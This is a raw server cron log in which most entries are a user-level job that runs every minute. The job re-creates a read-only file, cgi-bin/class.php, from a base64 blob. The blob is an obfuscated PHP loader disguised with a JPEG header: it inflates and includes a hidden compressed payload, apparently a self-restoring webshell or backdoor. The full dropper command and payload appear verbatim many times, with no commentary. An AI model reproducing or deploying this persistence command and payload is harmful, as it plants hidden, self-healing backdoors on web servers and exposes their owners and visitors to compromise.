Nov 11 10:57:01 server CROND[6664]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 10:58:01 server CROND[7595]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 10:59:01 server CROND[8471]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 11:00:01 server CROND[9254]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 11:00:01 server CROND[9255]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 11:00:01 server CROND[9256]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 11:00:01 server CROND[9257]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 11:01:01 server CROND[9489]: (root) CMD (run-parts /etc/cron.hourly)
Nov 11 11:01:01 server CROND[9490]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 11:01:01 server run-parts(/etc/cron.hourly)[9489]: starting 0anacron
Nov 11 11:01:01 server run-parts(/etc/cron.hourly)[9502]: finished 0anacron
Nov 11 11:02:01 server CROND[10307]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 11:03:01 server CROND[10970]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 11:04:01 server CROND[11784]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 11:05:01 server CROND[12652]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 11:05:01 server CROND[12656]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 11:05:01 server CROND[12654]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Nov 11 11:05:01 server CROND[12657]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 11:05:01 server CROND[12655]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 11:06:01 server CROND[13485]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 11:07:01 server CROND[14307]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 11:08:01 server CROND[15139]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 11:09:01 server CROND[16050]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 11 11:09:01 server CROND[16052]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 11:09:01 server CROND[16051]: (root) CMD (/usr/sbin/csf -u)
